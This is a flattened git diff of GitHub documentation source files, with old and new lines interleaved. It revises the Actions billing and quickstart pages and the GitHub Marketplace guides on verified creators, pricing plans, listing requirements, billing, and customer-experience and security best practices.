@@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.  {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job.  {% else %} 1. In the left sidebar, click the **Lint code base** job.  {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)."  If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly.  In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps.  For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [marketplace@github.com](mailto:marketplace@github.com) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [marketplace@github.com](mailto:marketplace@github.com). {% data reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: {% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. 